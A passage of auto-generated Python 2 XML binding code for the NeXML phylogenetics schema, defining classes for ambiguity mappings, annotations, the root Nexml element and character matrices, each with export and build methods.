self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AbstractMapping'): super(AbstractMapping, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractMapping') if self.state is not None and 'state' not in already_processed: already_processed.append('state') outfile.write(' state=%s' % (self.gds_format_string(quote_attrib(self.state).encode(ExternalEncoding), input_name='state'), )) def exportChildren(self, outfile, level, namespace_='', name_='AbstractMapping', fromsubclass_=False): super(AbstractMapping, self).exportChildren(outfile, level, namespace_, name_, True) pass def hasContent_(self): if ( super(AbstractMapping, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AbstractMapping'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.state is not None and 'state' not in already_processed: already_processed.append('state') showIndent(outfile, level) outfile.write('state = "%s",\n' % (self.state,)) super(AbstractMapping, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AbstractMapping, self).exportLiteralChildren(outfile, level, name_) pass def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('state', node) if value is not None and 'state' not in already_processed: already_processed.append('state') self.state = value super(AbstractMapping, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): super(AbstractMapping, self).buildChildren(child_, node, nodeName_, True) pass # end class AbstractMapping class DNAMapping(AbstractMapping): """An IUPAC ambiguity mapping.""" subclass = None superclass = AbstractMapping def __init__(self, state=None, valueOf_=None): super(DNAMapping, self).__init__(state, ) pass def factory(*args_, **kwargs_): if DNAMapping.subclass: return DNAMapping.subclass(*args_, **kwargs_) else: return DNAMapping(*args_, **kwargs_) factory = staticmethod(factory) def export(self, outfile, level, namespace_='', name_='DNAMapping', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='DNAMapping') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='DNAMapping'): super(DNAMapping, self).exportAttributes(outfile, level, already_processed, namespace_, name_='DNAMapping') def exportChildren(self, outfile, level, namespace_='', name_='DNAMapping', fromsubclass_=False): pass def hasContent_(self): if ( super(DNAMapping, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='DNAMapping'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(DNAMapping, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(DNAMapping, self).exportLiteralChildren(outfile, level, name_) pass def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(DNAMapping, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): pass # end class DNAMapping class AAMapping(AbstractMapping): """An IUPAC ambiguity mapping.""" subclass = None superclass = AbstractMapping def __init__(self, state=None, valueOf_=None): super(AAMapping, self).__init__(state, ) pass def factory(*args_, **kwargs_): if AAMapping.subclass: return AAMapping.subclass(*args_, **kwargs_) else: return AAMapping(*args_, **kwargs_) factory = staticmethod(factory) def export(self, outfile, level, namespace_='', name_='AAMapping', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AAMapping') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AAMapping'): super(AAMapping, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AAMapping') def exportChildren(self, outfile, level, namespace_='', name_='AAMapping', fromsubclass_=False): pass def hasContent_(self): if ( super(AAMapping, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AAMapping'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(AAMapping, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AAMapping, self).exportLiteralChildren(outfile, level, name_) pass def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(AAMapping, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): pass # end class AAMapping class RNAMapping(AbstractMapping): """An IUPAC RNA ambiguity mapping.""" subclass = None superclass = AbstractMapping def __init__(self, state=None, valueOf_=None): super(RNAMapping, self).__init__(state, ) pass def factory(*args_, **kwargs_): if RNAMapping.subclass: return RNAMapping.subclass(*args_, **kwargs_) else: return RNAMapping(*args_, **kwargs_) factory = staticmethod(factory) def export(self, outfile, level, namespace_='', name_='RNAMapping', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='RNAMapping') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='RNAMapping'): super(RNAMapping, self).exportAttributes(outfile, level, already_processed, namespace_, name_='RNAMapping') def exportChildren(self, outfile, level, namespace_='', name_='RNAMapping', fromsubclass_=False): pass def hasContent_(self): if ( super(RNAMapping, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='RNAMapping'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(RNAMapping, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(RNAMapping, self).exportLiteralChildren(outfile, level, name_) pass def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(RNAMapping, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): pass # end class RNAMapping class StandardMapping(AbstractMapping): """A standard character ambiguity mapping.""" subclass = None superclass = AbstractMapping def __init__(self, state=None, valueOf_=None): super(StandardMapping, self).__init__(state, ) pass def factory(*args_, **kwargs_): if StandardMapping.subclass: return StandardMapping.subclass(*args_, **kwargs_) else: return StandardMapping(*args_, **kwargs_) factory = staticmethod(factory) def export(self, outfile, level, namespace_='', name_='StandardMapping', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='StandardMapping') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='StandardMapping'): super(StandardMapping, self).exportAttributes(outfile, level, already_processed, namespace_, name_='StandardMapping') def exportChildren(self, outfile, level, namespace_='', name_='StandardMapping', fromsubclass_=False): pass def hasContent_(self): if ( super(StandardMapping, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='StandardMapping'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(StandardMapping, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(StandardMapping, self).exportLiteralChildren(outfile, level, name_) pass def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(StandardMapping, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): pass # end class StandardMapping class Annotated(Base): """The Annotated complexType is a super class for objects that optionally have metadata annotations of type Meta.""" subclass = None superclass = Base def __init__(self, about=None, meta=None, valueOf_=None): super(Annotated, self).__init__() self.about = _cast(None, about) if meta is None: self.meta = [] else: self.meta = meta def factory(*args_, **kwargs_): if Annotated.subclass: return Annotated.subclass(*args_, **kwargs_) else: return Annotated(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_about(self): return self.about def set_about(self, about): self.about = about def export(self, outfile, level, namespace_='', name_='Annotated', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='Annotated') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="Annotated"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='Annotated'): super(Annotated, self).exportAttributes(outfile, level, already_processed, namespace_, name_='Annotated') if self.about is not None and 'about' not in already_processed: already_processed.append('about') outfile.write(' about=%s' % (quote_attrib(self.about), )) def exportChildren(self, outfile, level, namespace_='', name_='Annotated', fromsubclass_=False): super(Annotated, self).exportChildren(outfile, level, namespace_, name_, True) for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') def hasContent_(self): if ( self.meta or super(Annotated, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='Annotated'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.about is not None and 'about' not in already_processed: already_processed.append('about') showIndent(outfile, level) outfile.write('about = %s,\n' % (self.about,)) super(Annotated, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(Annotated, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('about', node) if value is not None and 'about' not in already_processed: already_processed.append('about') self.about = value super(Annotated, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) super(Annotated, self).buildChildren(child_, node, nodeName_, True) # end class Annotated class Nexml(Annotated): """The root element for nexml.""" subclass = None superclass = Annotated def __init__(self, about=None, meta=None, version=None, generator=None, otus=None, characters=None, trees=None, valueOf_=None): super(Nexml, self).__init__(about, meta, ) self.version = _cast(None, version) self.generator = _cast(None, generator) if otus is None: self.otus = [] else: self.otus = otus if characters is None: self.characters = [] else: self.characters = characters if trees is None: self.trees = [] else: self.trees = trees def factory(*args_, **kwargs_): if Nexml.subclass: return Nexml.subclass(*args_, **kwargs_) else: return Nexml(*args_, **kwargs_) factory = staticmethod(factory) def get_otus(self): return self.otus def set_otus(self, otus): self.otus = otus def add_otus(self, value): self.otus.append(value) def insert_otus(self, index, value): self.otus[index] = value def get_characters(self): return self.characters def set_characters(self, characters): self.characters = characters def add_characters(self, value): self.characters.append(value) def insert_characters(self, index, value): self.characters[index] = value def get_trees(self): return self.trees def set_trees(self, trees): self.trees = trees def add_trees(self, value): self.trees.append(value) def insert_trees(self, index, value): self.trees[index] = value def get_version(self): return self.version def set_version(self, version): self.version = version def validate_Nexml1_0(self, value): # Validate type Nexml1_0, a restriction on xs:decimal. pass def get_generator(self): return self.generator def set_generator(self, generator): self.generator = generator def export(self, outfile, level, namespace_='', name_='Nexml', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='Nexml') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="Nexml"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='Nexml'): super(Nexml, self).exportAttributes(outfile, level, already_processed, namespace_, name_='Nexml') if self.version is not None and 'version' not in already_processed: already_processed.append('version') outfile.write(' version=%s' % (quote_attrib(self.version), )) if self.generator is not None and 'generator' not in already_processed: already_processed.append('generator') outfile.write(' generator=%s' % (self.gds_format_string(quote_attrib(self.generator).encode(ExternalEncoding), input_name='generator'), )) def exportChildren(self, outfile, level, namespace_='', name_='Nexml', fromsubclass_=False): super(Nexml, self).exportChildren(outfile, level, namespace_, name_, True) for otus_ in self.otus: otus_.export(outfile, level, namespace_, name_='otus') for characters_ in self.get_characters(): characters_.export(outfile, level, namespace_, name_='characters') for trees_ in self.trees: trees_.export(outfile, level, namespace_, name_='trees') def hasContent_(self): if ( self.otus or self.characters or self.trees or super(Nexml, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='Nexml'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.version is not None and 'version' not in already_processed: already_processed.append('version') showIndent(outfile, level) outfile.write('version = %f,\n' % (self.version,)) if self.generator is not None and 'generator' not in already_processed: already_processed.append('generator') showIndent(outfile, level) outfile.write('generator = "%s",\n' % (self.generator,)) super(Nexml, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(Nexml, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('otus=[\n') level += 1 for otus_ in self.otus: showIndent(outfile, level) outfile.write('model_.Taxa(\n') otus_.exportLiteral(outfile, level, name_='Taxa') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('characters=[\n') level += 1 for characters_ in self.characters: showIndent(outfile, level) outfile.write('model_.AbstractBlock(\n') characters_.exportLiteral(outfile, level, name_='AbstractBlock') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('trees=[\n') level += 1 for trees_ in self.trees: showIndent(outfile, level) outfile.write('model_.Trees(\n') trees_.exportLiteral(outfile, level, name_='Trees') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('version', node) if value is not None and 'version' not in already_processed: already_processed.append('version') try: self.version = float(value) except ValueError, exp: raise ValueError('Bad float/double attribute (version): %s' % exp) self.validate_Nexml1_0(self.version) # validate type Nexml1_0 value = find_attr_value_('generator', node) if value is not None and 'generator' not in already_processed: already_processed.append('generator') self.generator = value super(Nexml, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'otus': obj_ = Taxa.factory() obj_.build(child_) self.otus.append(obj_) elif nodeName_ == 'characters': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <characters> element') self.characters.append(obj_) elif nodeName_ == 'trees': obj_ = Trees.factory() obj_.build(child_) self.trees.append(obj_) super(Nexml, self).buildChildren(child_, node, nodeName_, True) # end class Nexml class AbstractObsMatrix(Annotated): """The AbstractObsMatrix super class is the abstract type for a <matrix> element that contains rows which hold granular state observations.""" subclass = None superclass = Annotated def __init__(self, about=None, meta=None, row=None, set=None, valueOf_=None): super(AbstractObsMatrix, self).__init__(about, meta, ) if row is None: self.row = [] else: self.row = row if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if AbstractObsMatrix.subclass: return AbstractObsMatrix.subclass(*args_, **kwargs_) else: return AbstractObsMatrix(*args_, **kwargs_) factory = staticmethod(factory) def get_row(self): return self.row def set_row(self, row): self.row = row def add_row(self, value): self.row.append(value) def insert_row(self, index, value): self.row[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='AbstractObsMatrix', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractObsMatrix') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="AbstractObsMatrix"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AbstractObsMatrix'): super(AbstractObsMatrix, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractObsMatrix') def exportChildren(self, outfile, level, namespace_='', name_='AbstractObsMatrix', fromsubclass_=False): super(AbstractObsMatrix, self).exportChildren(outfile, level, namespace_, name_, True) for row_ in self.get_row(): row_.export(outfile, level, namespace_, name_='row') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.row or self.set or super(AbstractObsMatrix, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AbstractObsMatrix'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(AbstractObsMatrix, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AbstractObsMatrix, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('row=[\n') level += 1 for row_ in self.row: showIndent(outfile, level) outfile.write('model_.AbstractObsRow(\n') row_.exportLiteral(outfile, level, name_='AbstractObsRow') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.RowSet(\n') set_.exportLiteral(outfile, level, name_='RowSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(AbstractObsMatrix, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'row': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <row> element') self.row.append(obj_) elif nodeName_ == 'set': obj_ = RowSet.factory() obj_.build(child_) self.set.append(obj_) super(AbstractObsMatrix, self).buildChildren(child_, node, nodeName_, True) # end class AbstractObsMatrix class AbstractSeqMatrix(Annotated): """The AbstractSeqMatrix super class is the abstract type for a <matrix> element that contains rows which hold raw character sequences.""" subclass = None superclass = Annotated def __init__(self, about=None, meta=None, row=None, set=None, valueOf_=None): super(AbstractSeqMatrix, self).__init__(about, meta, ) if row is None: self.row = [] else: self.row = row if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if AbstractSeqMatrix.subclass: return AbstractSeqMatrix.subclass(*args_, **kwargs_) else: return AbstractSeqMatrix(*args_, **kwargs_) factory = staticmethod(factory) def get_row(self): return self.row def set_row(self, row): self.row = row def add_row(self, value): self.row.append(value) def insert_row(self, index, value): self.row[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='AbstractSeqMatrix', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractSeqMatrix') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="AbstractSeqMatrix"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AbstractSeqMatrix'): super(AbstractSeqMatrix, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractSeqMatrix') def exportChildren(self, outfile, level, namespace_='', name_='AbstractSeqMatrix', fromsubclass_=False): super(AbstractSeqMatrix, self).exportChildren(outfile, level, namespace_, name_, True) for row_ in self.get_row(): row_.export(outfile, level, namespace_, name_='row') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.row or self.set or super(AbstractSeqMatrix, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AbstractSeqMatrix'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(AbstractSeqMatrix, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AbstractSeqMatrix, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('row=[\n') level += 1 for row_ in self.row: showIndent(outfile, level) outfile.write('model_.AbstractSeqRow(\n') row_.exportLiteral(outfile, level, name_='AbstractSeqRow') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.RowSet(\n') set_.exportLiteral(outfile, level, name_='RowSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(AbstractSeqMatrix, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'row': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <row> element') self.row.append(obj_) elif nodeName_ == 'set': obj_ = RowSet.factory() obj_.build(child_) self.set.append(obj_) super(AbstractSeqMatrix, self).buildChildren(child_, node, nodeName_, True) # end class AbstractSeqMatrix class AbstractFormat(Annotated): """The AbstractFormat type is the superclass for the element that defines the allowed characters and states in a matrix, and their ambiguity mapping. It may enclose AbstractStates elements that define states and their mappings, and AbstractChar elements that specify which AbstractStates apply to which matrix columns.""" subclass = None superclass = Annotated def __init__(self, about=None, meta=None, states=None, char=None, set=None, valueOf_=None): super(AbstractFormat, self).__init__(about, meta, ) if states is None: self.states = [] else: self.states = states if char is None: self.char = [] else: self.char = char if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if AbstractFormat.subclass: return AbstractFormat.subclass(*args_, **kwargs_) else: return AbstractFormat(*args_, **kwargs_) factory = staticmethod(factory) def get_states(self): return self.states def set_states(self, states): self.states = states def add_states(self, value): self.states.append(value) def insert_states(self, index, value): self.states[index] = value def get_char(self): return self.char def set_char(self, char): self.char = char def add_char(self, value): self.char.append(value) def insert_char(self, index, value): self.char[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='AbstractFormat', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractFormat') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="AbstractFormat"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AbstractFormat'): super(AbstractFormat, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractFormat') def exportChildren(self, outfile, level, namespace_='', name_='AbstractFormat', fromsubclass_=False): super(AbstractFormat, self).exportChildren(outfile, level, namespace_, name_, True) for states_ in self.get_states(): states_.export(outfile, level, namespace_, name_='states') for char_ in self.get_char(): char_.export(outfile, level, namespace_, name_='char') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.states or self.char or self.set or super(AbstractFormat, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AbstractFormat'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(AbstractFormat, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AbstractFormat, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('states=[\n') level += 1 for states_ in self.states: showIndent(outfile, level) outfile.write('model_.AbstractStates(\n') states_.exportLiteral(outfile, level, name_='AbstractStates') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('char=[\n') level += 1 for char_ in self.char: showIndent(outfile, level) outfile.write('model_.AbstractChar(\n') char_.exportLiteral(outfile, level, name_='AbstractChar') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.CharSet(\n') set_.exportLiteral(outfile, level, name_='CharSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(AbstractFormat, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'states': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: 